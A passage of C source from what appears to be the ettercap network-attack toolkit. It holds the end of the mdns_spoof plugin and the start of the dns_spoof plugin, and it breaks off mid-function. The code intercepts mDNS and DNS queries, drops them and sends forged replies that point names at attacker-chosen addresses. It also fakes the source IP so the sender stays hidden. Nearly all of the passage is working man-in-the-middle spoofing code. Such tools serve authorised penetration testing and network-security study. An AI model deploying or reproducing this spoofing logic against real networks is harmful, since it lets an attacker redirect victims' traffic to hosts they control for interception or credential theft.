} *type_p = ns_t_srv; *name_p = name; *ip_p = ip; *port_p = port & 0x0000ffff; return 1; } USER_MSG("mdns_spoof: %s:%d Unknown record type %s\n", ETTER_MDNS, line, type); return (0); } /* * parse the request and return a spoofed response */ static void mdns_spoof(struct packet_object *po) { struct mdns_header *mdns; struct iface_env *iface; char name[NS_MAXDNAME]; int name_len; u_char *q, *data, *end;; u_int16 class; u_int16 type; int x; mdns = (struct mdns_header *)po->DATA.data; data = (u_char *)(mdns+1); end = (u_char *)mdns + po->DATA.len; q = data; if (mdns->flags == 0x8400 || mdns->answer_rrs > 0) { //We only want queries. return; } /* Do not forward query */ po->flags |= PO_DROPPED; /* set incoming interface as outgoing interface for reply */ iface = po->flags & PO_FROMIFACE ? EC_GBL_IFACE : EC_GBL_BRIDGE; /* process all the questions */ for (x = 0; x < mdns->questions; x++) { name_len = dn_expand((u_char*)mdns, end, q, name, sizeof(name)); if (name_len == -1) return; q = data + name_len; if (q >= end || name_len == 0) return; NS_GET16(type, q); NS_GET16(class, q); /* handle only internet class - unmask the QU flag */ if ((class & ~MDNS_QU_FLAG) != ns_c_in) return; if(type == ns_t_a) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; u_int8 *tmac; u_int8 answer[name_len + 10 + 4]; u_char *p = answer + name_len; char tmp[MAX_ASCII_ADDR_LEN]; /* found the reply in the list */ if (get_spoofed_a(name, &reply) != E_SUCCESS) return; /* check if the family matches the record type */ if (ntohs(reply->addr_type) != AF_INET) { USER_MSG("mdns_spoof: can not spoof A record for %s " "because the value is not a IPv4 address\n", name); return; } /* * in MDNS the original question is not included * into the reply packet as with pure DNS - * fill the buffer with the questioned name of the request * we will append the answer just after the quoted name */ memcpy(answer, data, name_len); /* name */ memcpy(p , "\x00\x01", 2); /* type A */ memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 8, "\x00\x04", 2); /* datalen */ ip_addr_cpy(p + 10, reply); /* data */ /* * depending on the MDNS question, the target address has to be redefined; * we also can not use the multicast address as the source but also; * don't want to reveal our own IP, so the sender needs also be redefined; * hence the variables for the transport of the reply need to be prepared. */ prep_mdns_reply(po, class, &sender, &target, &tmac, reply); /* send the reply back to the multicast or unicast address * and set the faked address as the source address for the transport */ send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0); USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp)); } if(type == ns_t_aaaa) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; u_int8 *tmac; u_int8 answer[name_len + 10 + 16]; u_char *p = answer + name_len; char tmp[MAX_ASCII_ADDR_LEN]; /* found the reply in the list */ if (get_spoofed_aaaa(name, &reply) != E_SUCCESS) return; /* check if the family matches the record type */ if (ntohs(reply->addr_type) != AF_INET6) { USER_MSG("mdns_spoof: can not spoof AAAA record for %s " "because the value is not a IPv6 address\n", name); return; } /* * in MDNS the original question is not included * into the reply packet as with pure DNS - * fill the buffer with the questioned name of the request * we will append the answer just after the quoted name */ memcpy(answer, data, name_len); /* name */ memcpy(p , "\x00\x1c", 2); /* type AAAA */ memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 8, "\x00\x10", 2); /* datalen */ ip_addr_cpy(p + 10, reply); /* data */ /* * depending on the MDNS question, the target address has to be redefined; * we also can not use the multicast address as the source but also; * don't want to reveal our own IP, so the sender needs also be redefined; * hence the variables for the transport of the reply need to be prepared. */ prep_mdns_reply(po, class, &sender, &target, &tmac, reply); /* send the reply back to the multicast or unicast address * and set the faked address as the source address for the transport */ send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0); USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp)); } else if (type == ns_t_ptr) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; u_int8 *tmac; u_int8 answer[name_len + 256]; char *a, *p = (char*)answer + name_len; int rlen; /* found the reply in the list */ if (get_spoofed_ptr(name, &a, &reply) != E_SUCCESS) return; /* * in MDNS the original question is not included * into the reply packet as with pure DNS - * fill the buffer with the questioned name of the request * we will append the answer just after the quoted name */ memcpy(answer, data, name_len); /* name */ memcpy(p , "\x00\x0c", 2); /* type PTR */ memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ /* compress the string into the buffer */ rlen = dn_comp(a, (u_char*)p + 10, 256, NULL, NULL); /* put the length before the dn_comp'd string */ p += 8; NS_PUT16(rlen, p); /* * depending on the MDNS question, the target address has to be redefined; * we also can not use the multicast address as the source but also; * don't want to reveal our own IP, so the sender needs also be redefined; * hence the variables for the transport of the reply need to be prepared. */ prep_mdns_reply(po, class, &sender, &target, &tmac, reply); /* send the fake reply */ send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, name_len + 10 + rlen, 1, 0, 0); USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), a); } else if (type == ns_t_srv) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; u_int8 *tmac; u_int8 answer[name_len + 22 + 12 + 16]; char *p = (char *)answer + name_len; char tmp[MAX_ASCII_ADDR_LEN]; char srvoffset[2]; char tgtoffset[2]; u_int16 port; int dn_offset = 0; /* found the reply in the list */ if (get_spoofed_srv(name, &reply, &port) != E_SUCCESS) return; /* * to refer the target to a proper domain name, we have to strip the * service and protocol label from the questioned domain name */ dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/ dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */ /* avoid offset overrun */ if (dn_offset + 12 > 255) { dn_offset = 0; } tgtoffset[0] = 0xc0; /* offset byte */ tgtoffset[1] = 12 + dn_offset; /* offset to the actual domain name */ /* * to inject the spoofed IP address in the additional section, * we have set the offset pointing to the spoofed domain name set * below (in turn, after the domain name [variable length] in the * question section) */ srvoffset[0] = 0xc0; /* offset byte */ srvoffset[1] = 12 + name_len + 16; /* offset to the answer */ /* * in MDNS the original question is not included * into the reply packet as with pure DNS - * fill the buffer with the questioned name of the request * we will append the answer just after the quoted name */ memcpy(answer, data, name_len); /* name */ memcpy(p , "\x00\x21", 2); /* type SRV */ memcpy(p + 2, "\x80\x01", 2); /* class IN */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 8, "\x00\x0c", 2); /* data length */ memcpy(p + 10, "\x00\x00", 2); /* priority */ memcpy(p + 12, "\x00\x00", 2); /* weight */ p+=14; NS_PUT16(port, p); /* port */ p-=16; /* * add "srv." in front of the stripped domain * name and resolve it in the additional * record (here `srvoffset' is pointing at) */ memcpy(p + 16, "\x03\x73\x72\x76", 4); /* target */ memcpy(p + 20, tgtoffset,2); /* compressed name offset */ /* add the additional record for the spoofed IPv4 address*/ if (ntohs(reply->addr_type) == AF_INET) { memcpy(p + 22, srvoffset, 2); /* compressed name offset */ memcpy(p + 24, "\x00\x01", 2); /* type A */ memcpy(p + 26, "\x80\x01", 2); /* class */ memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 32, "\x00\x04", 2); /* datalen */ ip_addr_cpy(p + 34, reply); /* data */ memset(p + 38, 0, 12); /* padding */ } /* add the additional record for the spoofed IPv6 address*/ else if (ntohs(reply->addr_type) == AF_INET6) { memcpy(p + 22, srvoffset, 2); /* compressed name offset */ memcpy(p + 24, "\x00\x1c", 2); /* type AAAA */ memcpy(p + 26, "\x80\x01", 2); /* class */ memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 32, "\x00\x10", 2); /* datalen */ ip_addr_cpy(p + 34, reply); /* data */ } else { /* IP address not valid - abort */ return; } /* * depending on the MDNS question, the target address has to be redefined; * we also can not use the multicast address as the source but also; * don't want to reveal our own IP, so the sender needs also be redefined; * hence the variables for the transport of the reply need to be prepared. */ prep_mdns_reply(po, class, &sender, &target, &tmac, reply); /* send the reply back to the multicast or unicast address * and set the faked address as the source address for the transport */ send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, sizeof(answer), 2, 0, 0); USER_MSG("mdns_spoof: SRV [%s] spoofed to [%s:%d]\n", name, ip_addr_ntoa(reply, tmp), port); } } } /* * return the ip address for the name - IPv4 */ static int get_spoofed_a(const char *a, struct ip_addr **ip) { struct mdns_spoof_entry *d; SLIST_FOREACH(d, &mdns_spoof_head, next) { if (d->type == ns_t_a && match_pattern(a, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the ip address for the name - IPv6 */ static int get_spoofed_aaaa(const char *a, struct ip_addr **ip) { struct mdns_spoof_entry *d; SLIST_FOREACH(d, &mdns_spoof_head, next) { if (d->type == ns_t_aaaa && match_pattern(a, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the name for the ip address */ static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip) { struct mdns_spoof_entry *d; struct ip_addr ptr; unsigned int oct[32]; int len, v4len, v6len; u_char ipv4[4]; u_char ipv6[16]; char v4tld[] = "in-addr.arpa"; char v6tld[] = "ip6.arpa"; len = strlen(arpa); v4len = strlen(v4tld); v6len = strlen(v6tld); /* Check the top level domain of the PTR query - IPv4 */ if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) { /* parses the arpa format */ if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa", &oct[3], &oct[2], &oct[1], &oct[0]) != 4) return -E_INVALID; /* collect octets */ ipv4[0] = oct[0] & 0xff; ipv4[1] = oct[1] & 0xff; ipv4[2] = oct[2] & 0xff; ipv4[3] = oct[3] & 0xff; /* init the ip_addr structure */ ip_addr_init(&ptr, AF_INET, ipv4); } /* check the top level domain of the PTR query - IPv6 */ else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) { /* parses the ip6.arpa format for IPv6 reverse pointer */ if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." "%1x.%1x.%1x.%1x.%1x.ip6.arpa", &oct[31], &oct[30], &oct[29], &oct[28], &oct[27], &oct[26], &oct[25], &oct[24], &oct[23], &oct[22], &oct[21], &oct[20], &oct[19], &oct[18], &oct[17], &oct[16], &oct[15], &oct[14], &oct[13], &oct[12], &oct[11], &oct[10], &oct[9], &oct[8], &oct[7], &oct[6], &oct[5], &oct[4], &oct[3], &oct[2], &oct[1], &oct[0]) != 32) { return -E_INVALID; } /* collect octets */ ipv6[0] = (oct[0] << 4) | oct[1]; ipv6[1] = (oct[2] << 4) | oct[3]; ipv6[2] = (oct[4] << 4) | oct[5]; ipv6[3] = (oct[6] << 4) | oct[7]; ipv6[4] = (oct[8] << 4) | oct[9]; ipv6[5] = (oct[10] << 4) | oct[11]; ipv6[6] = (oct[12] << 4) | oct[13]; ipv6[7] = (oct[14] << 4) | oct[15]; ipv6[8] = (oct[16] << 4) | oct[17]; ipv6[9] = (oct[18] << 4) | oct[19]; ipv6[10] = (oct[20] << 4) | oct[21]; ipv6[11] = (oct[22] << 4) | oct[23]; ipv6[12] = (oct[24] << 4) | oct[25]; ipv6[13] = (oct[26] << 4) | oct[27]; ipv6[14] = (oct[28] << 4) | oct[29]; ipv6[15] = (oct[30] << 4) | oct[31]; /* init the ip_addr structure */ ip_addr_init(&ptr, AF_INET6, ipv6); } /* search in the list */ SLIST_FOREACH(d, &mdns_spoof_head, next) { /* * we cannot return whildcards in the reply, * so skip the entry if the name contains a '*' */ if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) { /* return the pointer to the name */ *a = d->name; *ip = &d->ip; return E_SUCCESS; } } return -E_NOTFOUND; } static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port) { struct mdns_spoof_entry *d; SLIST_FOREACH(d, &mdns_spoof_head, next) { if (d->type == ns_t_srv && match_pattern(name, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; *port = d->port; return E_SUCCESS; } } return -E_NOTFOUND; } /* * define sender address and target address */ static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply) { char tmp[MAX_ASCII_ADDR_LEN]; if ((class & MDNS_QU_FLAG) == 0x8000 && ip_addr_is_multicast(&po->L3.dst)) { /* received multicast but unicast response requested */ if (reply != NULL && reply->addr_type == po->L3.src.addr_type) { /* * address family of spoofed address matches address family * of the transport protocol - we use it as the sender */ *sender = reply; *target = &po->L3.src; *tmac = po->L2.src; return E_SUCCESS; } else { /* * we can not use the spoofed address as the sender * a random link-local address need to be generated */ if (ip_addr_random(&po->L3.dst, ntohs(po->L3.src.addr_type)) == E_SUCCESS) { DEBUG_MSG("mdns_spoof: random IP generated: %s\n", ip_addr_ntoa(&po->L3.dst, tmp)); *sender = &po->L3.dst; *target = &po->L3.src; *tmac = po->L2.src; return E_SUCCESS; } else { DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n"); DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp)); return -E_NOADDRESS; } } } else if (!ip_addr_is_multicast(&po->L3.dst)) { /* MDNS received via unicast - response via unicast */ *sender = &po->L3.dst; *target = &po->L3.src; *tmac = po->L2.src; return E_SUCCESS; } else { /* normal multicast reply */ if (reply != NULL && reply->addr_type == po->L3.dst.addr_type) { /* * send the reply back to the multicast address and set * the spoofed address also as the source ip address */ *sender = reply; *target = &po->L3.dst; *tmac = po->L2.dst; return E_SUCCESS; } else { /* * we can not use the spoofed address as the sender * a random link-local address need to be generated */ if (ip_addr_random(&po->L3.src, ntohs(po->L3.src.addr_type)) == E_SUCCESS) { DEBUG_MSG("mdns_spoof: random IP generated: %s\n", ip_addr_ntoa(&po->L3.src, tmp)); /* * send the reply back to the multicast address and set the * faked address as the source */ *sender = &po->L3.src; *target = &po->L3.dst; *tmac = po->L2.dst; return E_SUCCESS; } else { DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n"); DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp)); return -E_NOADDRESS; } } } } char *type_str (int type) { return (type == ns_t_a ? "A" : type == ns_t_aaaa ? "AAAA" : type == ns_t_ptr ? "PTR" : type == ns_t_mx ? "MX" : type == ns_t_wins ? "WINS" : type == ns_t_srv ? "SRV" : "?"); } static void mdns_spoof_dump(void) { struct mdns_spoof_entry *d; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("mdns_spoof entries:"); SLIST_FOREACH(d, &mdns_spoof_head, next) { if (ntohs(d->ip.addr_type) == AF_INET) { if (d->type == ns_t_srv) { DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv4", d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type)); } else { DEBUG_MSG(" %s -> [%s], type %s, family IPv4", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type)); } } else if (ntohs(d->ip.addr_type) == AF_INET6) { if (d->type == ns_t_srv) { DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv6", d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type)); } else { DEBUG_MSG(" %s -> [%s], type %s, family IPv6", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type)); } } else { DEBUG_MSG(" %s -> ??", d->name); } } } ettercap-0.8.3/plug-ins/dns_spoof/0000755000175000017500000000000013505247364016724 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/dns_spoof/dns_spoof.c0000644000175000017500000012152713505247364021072 0ustar koeppeakoeppea/* dns_spoof -- ettercap plugin -- spoofs dns reply Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include #include #ifndef ns_t_wins #define ns_t_wins 0xFF01 /* WINS name lookup */ #endif /* Maximum DNS TTL according to RFC 2181 = 2^31 - 1*/ #define MAX_DNS_TTL INT_MAX /* globals */ struct dns_header { u_int16 id; /* DNS packet ID */ #ifdef WORDS_BIGENDIAN u_char qr: 1; /* response flag */ u_char opcode: 4; /* purpose of message */ u_char aa: 1; /* authoritative answer */ u_char tc: 1; /* truncated message */ u_char rd: 1; /* recursion desired */ u_char ra: 1; /* recursion available */ u_char unused: 1; /* unused bits */ u_char ad: 1; /* authentic data from named */ u_char cd: 1; /* checking disabled by resolver */ u_char rcode: 4; /* response code */ #else /* WORDS_LITTLEENDIAN */ u_char rd: 1; /* recursion desired */ u_char tc: 1; /* truncated message */ u_char aa: 1; /* authoritative answer */ u_char opcode: 4; /* purpose of message */ u_char qr: 1; /* response flag */ u_char rcode: 4; /* response code */ u_char cd: 1; /* checking disabled by resolver */ u_char ad: 1; /* authentic data from named */ u_char unused: 1; /* unused bits */ u_char ra: 1; /* recursion available */ #endif u_int16 num_q; /* Number of questions */ u_int16 num_answer; /* Number of answer resource records */ u_int16 num_auth; /* Number of authority resource records */ u_int16 num_res; /* Number of additional resource records */ }; struct dns_spoof_entry { int type; /* ns_t_a, ns_t_mx, ns_t_ptr, ns_t_wins */ u_int32 ttl; /* 0 - 2^31-1 seconds */ char *name; struct ip_addr ip; u_int16 port; char *text; SLIST_ENTRY(dns_spoof_entry) next; }; struct rr_entry { u_char *data; int size; SLIST_ENTRY(rr_entry) next; }; static SLIST_HEAD(, dns_spoof_entry) dns_spoof_head; static SLIST_HEAD(, rr_entry) answer_list; static SLIST_HEAD(, rr_entry) authority_list; static SLIST_HEAD(, rr_entry) additional_list; /* protos */ int plugin_load(void *); static int dns_spoof_init(void *); static int dns_spoof_fini(void *); static int load_db(void); static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p, u_int32 *ttl_p); static void dns_spoof(struct packet_object *po); static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len, int *n_answ, int *n_auth, int *n_addi); static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl); static int get_spoofed_aaaa(const char *a, struct ip_addr **ip, u_int32 *ttl); static int get_spoofed_txt(const char *name, char **txt, u_int32 *ttl); static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl); static int get_spoofed_mx(const char *a, struct ip_addr **ip, u_int32 *ttl); static int get_spoofed_wins(const char *a, struct ip_addr **ip, u_int32 *ttl); static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port, u_int32 *ttl); char *type_str(int type); static void dns_spoof_dump(void); /* plugin operations */ struct plugin_ops dns_spoof_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "dns_spoof", /* a short description of the plugin (max 50 chars) */ .info = "Sends spoofed dns replies", /* the plugin version. */ .version = "1.3", /* activation function */ .init = &dns_spoof_init, /* deactivation function */ .fini = &dns_spoof_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { /* load the database of spoofed replies (etter.dns) * return an error if we could not open the file */ if (load_db() != E_SUCCESS) return -E_INVALID; dns_spoof_dump(); return plugin_register(handle, &dns_spoof_ops); } /*********************************************************/ static int dns_spoof_init(void *dummy) { /* variable not used */ (void) dummy; /* * add the hook in the dissector. * this will pass only valid dns packets */ hook_add(HOOK_PROTO_DNS, &dns_spoof); return PLUGIN_RUNNING; } static int dns_spoof_fini(void *dummy) { struct dns_spoof_entry *d; /* variable not used */ (void) dummy; /* remove the hook */ hook_del(HOOK_PROTO_DNS, &dns_spoof); /* Free dynamically allocated memory */ while (!SLIST_EMPTY(&dns_spoof_head)) { d = SLIST_FIRST(&dns_spoof_head); SLIST_REMOVE_HEAD(&dns_spoof_head, next); SAFE_FREE(d->name); SAFE_FREE(d->text); SAFE_FREE(d); } return PLUGIN_FINISHED; } /* * load the database in the list */ static int load_db(void) { struct dns_spoof_entry *d; FILE *f; char line[100+255+10+1]; char *ptr, *ip, *name; u_int32 ttl; int lines = 0, type; u_int16 port = 0; /* open the file */ f = open_data("etc", ETTER_DNS, FOPEN_READ_TEXT); if (f == NULL) { USER_MSG("dns_spoof: Cannot open %s\n", ETTER_DNS); return -E_INVALID; } /* load it in the list */ while (fgets(line, 100+255+10+1, f)) { /* count the lines */ lines++; /* trim comments */ if ( (ptr = strchr(line, '#')) ) *ptr = '\0'; /* skip empty lines */ if (!*line || *line == '\r' || *line == '\n') continue; /* strip apart the line */ if (!parse_line(line, lines, &type, &ip, &port, &name, &ttl)) continue; /* create the entry */ SAFE_CALLOC(d, 1, sizeof(struct dns_spoof_entry)); d->name = strdup(name); if (d->name == NULL) { USER_MSG("dns_spoof: Unable to allocate memory for d->name\n"); return -E_INVALID; } d->type = type; d->port = port; d->text = NULL; d->ttl = ttl; /* convert the ip address */ if (type == ns_t_txt) { /* Nothing to convert for TXT - just copy the string */ d->text = strndup(ip, 255); if (d->text == NULL) { USER_MSG("dns_spoof: Unable to allocate memory for d->text\n"); free(d->name); free(d); return -E_INVALID; } } else if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) { /* neither IPv4 nor IPv6 - throw a message and skip line */ USER_MSG("dns_spoof: %s:%d Invalid IPv4 or IPv6 address\n", ETTER_DNS, lines); SAFE_FREE(d); continue; } /* insert in the list */ SLIST_INSERT_HEAD(&dns_spoof_head, d, next); } fclose(f); return E_SUCCESS; } /* * Parse line on format " ". */ static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p, u_int32 *ttl_p) { static char name[100+1]; static char ip[MAX_ASCII_ADDR_LEN]; static u_int16 port; static u_int32 ttl; char type[10+1]; DEBUG_MSG("%s:%d str '%s'", ETTER_DNS, line, str); /* Set default TTL of 1 hour if not specified */ ttl = 3600; /* TTL is optional therefore only require 3 options here */ if (sscanf(str,"%100s %10s %40[^\r\n# ] %u", name, type, ip, &ttl) < 3) { USER_MSG("dns_spoof: %s:%d Invalid entry '%s'\n", ETTER_DNS, line, str); return (0); } /* keep TTL within DNS standard limits (2^31 - 1) - see RFC 2181 */ if (ttl > MAX_DNS_TTL) ttl = 3600; *ttl_p = ttl; if (!strcasecmp(type,"PTR")) { if (strpbrk(name,"*?[]")) { USER_MSG("dns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n", ETTER_DNS, line, str); return (0); } *type_p = ns_t_ptr; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type,"A")) { *type_p = ns_t_a; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type,"AAAA")) { *type_p = ns_t_aaaa; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type,"MX")) { *type_p = ns_t_mx; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type,"WINS")) { *type_p = ns_t_wins; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type, "TXT")) { char txt[256]; /* rescan line as spaces are supported in TXT records */ if (sscanf(str,"%100s %10s \"%255[^\r\n#\"]\" %u", name, type, txt, &ttl) < 3) { USER_MSG("dns_spoof: %s:%d Invalid entry %s\n", ETTER_DNS, line, str); return 0; } if (ttl > MAX_DNS_TTL) ttl = 3600; /* keep TTL within DNS standard limits (2^31 - 1) - see RFC 2181 */ *type_p = ns_t_txt; *name_p = name; *ip_p = txt; *ttl_p = ttl; return (1); } if (!strcasecmp(type, "SRV")) { /* * SRV records have different syntax */ static char ip_tmp[MAX_ASCII_ADDR_LEN]; if (ec_strsplit_ipport(ip, ip_tmp, &port)) { USER_MSG("dns_spoof: %s:%d Unknown syntax for SRV record; %s\n", ETTER_DNS, line, str); return (0); } *type_p = ns_t_srv; *name_p = name; *ip_p = ip_tmp; *port_p = port; return (1); } USER_MSG("dns_spoof: %s:%d Unknown record type %s\n", ETTER_DNS, line, type); return (0); } /* * parse the packet and send the fake reply */ static void dns_spoof(struct packet_object *po) { struct dns_header *dns; struct rr_entry *rr; struct iface_env *iface; u_char *data, *end, *dns_reply; char name[NS_MAXDNAME]; int name_len, dns_len, dns_off, n_answ, n_auth, n_addi; u_char *q; int16 class; u_int16 type; dns = (struct dns_header *)po->DATA.data; data = (u_char *)(dns + 1); end = (u_char *)dns + po->DATA.len; n_answ = 0; n_auth = 0; n_addi = 0; /* extract the name from the packet */ name_len = dn_expand((u_char *)dns, end, data, name, sizeof(name)); /* move pointer behind the domain name */ q = data + name_len; /* get the type and class */ NS_GET16(type, q); NS_GET16(class, q); /* set initial dns reply length to the length of the question */ dns_len = q - data; /* handle only internet class */ if (class != ns_c_in) return; /* we are interested only in DNS query */ if ( (!dns->qr) && dns->opcode == ns_o_query && htons(dns->num_q) == 1 && htons(dns->num_answer) == 0) { /* * If we are interested in this DNS query this function returns E_SUCCESS. * The DNS reply data is stored in one or more of the single linked lists * 1. answer_list * 2. authority_list * 3. additional_list. * Below, the lists have to be processes in this order and concatenated to the * query in memory. */ if (prepare_dns_reply(data, name, type, &dns_len, &n_answ, &n_auth, &n_addi) != E_SUCCESS) return; /* * do nothing if we haven't prepared anything * this can happen with ANY queries */ if (dns_len <= q - data) return; /* Do not forward query */ po->flags |= PO_DROPPED; /* set incoming interface as outgoing interface for reply */ iface = po->flags & PO_FROMIFACE ? EC_GBL_IFACE : EC_GBL_BRIDGE; /* allocate memory for the dns reply */ SAFE_CALLOC(dns_reply, dns_len, sizeof(u_int8)); /* * fill the buffer with the content of the request * we will append the answer just behind the request */ memcpy(dns_reply, data, q - data); dns_off = q - data; /* collect answers and free list items in one go */ while (!SLIST_EMPTY(&answer_list)) { rr = SLIST_FIRST(&answer_list); /* make sure not to exceed allocated memory */ if (dns_off + rr->size <= dns_len) { /* serialize data */ memcpy(dns_reply + dns_off, rr->data, rr->size); dns_off += rr->size; } /* data not needed any longer - free it */ SLIST_REMOVE_HEAD(&answer_list, next); SAFE_FREE(rr->data); SAFE_FREE(rr); } /* collect authority and free list items in one go */ while (!SLIST_EMPTY(&authority_list)) { rr = SLIST_FIRST(&authority_list); /* make sure not to exceed allocated memory */ if (dns_off + rr->size <= dns_len) { /* serialize data */ memcpy(dns_reply + dns_off, rr->data, rr->size); dns_off += rr->size; } /* data not needed any longer - free it */ SLIST_REMOVE_HEAD(&authority_list, next); SAFE_FREE(rr->data); SAFE_FREE(rr); } /* collect additional and free list items in one go */ while (!SLIST_EMPTY(&additional_list)) { rr = SLIST_FIRST(&additional_list); /* make sure not to exceed allocated memory */ if (dns_off + rr->size <= dns_len) { /* serialize data */ memcpy(dns_reply + dns_off, rr->data, rr->size); dns_off += rr->size; } /* data not needed any longer - free it */ SLIST_REMOVE_HEAD(&additional_list, next); SAFE_FREE(rr->data); SAFE_FREE(rr); } /* send the reply */ send_dns_reply(iface, po->L4.src, &po->L3.dst, &po->L3.src, po->L2.src, ntohs(dns->id), dns_reply, dns_len, n_answ, n_auth, n_addi); /* spoofed DNS reply sent - free memory */ SAFE_FREE(dns_reply); } } /* * checks if a spoof entry extists for the name and type * the answer is prepared and stored in the global lists * - answer_list * - authority_list * - additional_list */ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len, int *n_answ, int *n_auth, int *n_addi) { struct ip_addr *reply; struct rr_entry *rr; bool is_negative; int len; u_int32 ttl, dns_ttl; u_char *answer, *p; char tmp[MAX_ASCII_ADDR_LEN]; /* set TTL to 1 hour by default or in case something goes wrong */ ttl = 3600; dns_ttl = htonl(ttl); /* reorder bytes for network stuff */ /* by default we want to spoof actual data */ is_negative = false; /* it is and address resolution (name to ip) */ if (type == ns_t_a || type == ns_t_any) { /* found the reply in the list */ if (get_spoofed_a(name, &reply, &ttl) != E_SUCCESS) { /* in case of ANY we have to proceed with the next section */ if (type == ns_t_any) goto any_aaaa; else return -E_NOTFOUND; } /* check if the family matches the record type */ if (ntohs(reply->addr_type) != AF_INET) { USER_MSG("dns_spoof: can not spoof A record for %s " "because the value is not a IPv4 address\n", name); return -E_INVALID; } /* * When spoofed IP address is undefined address, we stop * processing of this section by spoofing a negative-cache reply */ if (ip_addr_is_zero(reply)) { /* * we want to answer this requests with a negative-cache reply * instead of spoofing a IP address */ is_negative = true; } else { /* allocate memory for the answer */ len = 12 + IP_ADDR_LEN; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the answer */ memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\x00\x01", 2); /* type A */ memcpy(p + 4, "\x00\x01", 2); /* class */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, "\x00\x04", 2); /* datalen */ ip_addr_cpy(p + 12, reply); /* data */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; 